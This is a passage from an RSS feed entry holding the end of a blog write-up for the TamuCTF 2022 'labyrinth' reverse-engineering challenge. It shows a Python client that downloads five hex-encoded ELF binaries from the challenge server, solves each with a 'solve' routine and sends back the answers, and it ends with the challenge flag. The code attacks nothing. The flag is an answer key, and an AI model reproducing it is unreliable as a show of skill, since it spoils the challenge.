    chain &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; state&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;posix&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;dumps&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chain&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; chain


p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; remote&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tamuctf.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ssl&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sni&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;labyrinth&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; binary &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Read input and save as binary.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;elf&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fromhex&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rstrip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Solve and print.&lt;/span&gt;
    out &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; solve&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interactive&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;gigem{w0w_y0ur3_r34lly_600d_w17h_m4z35}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
</feed>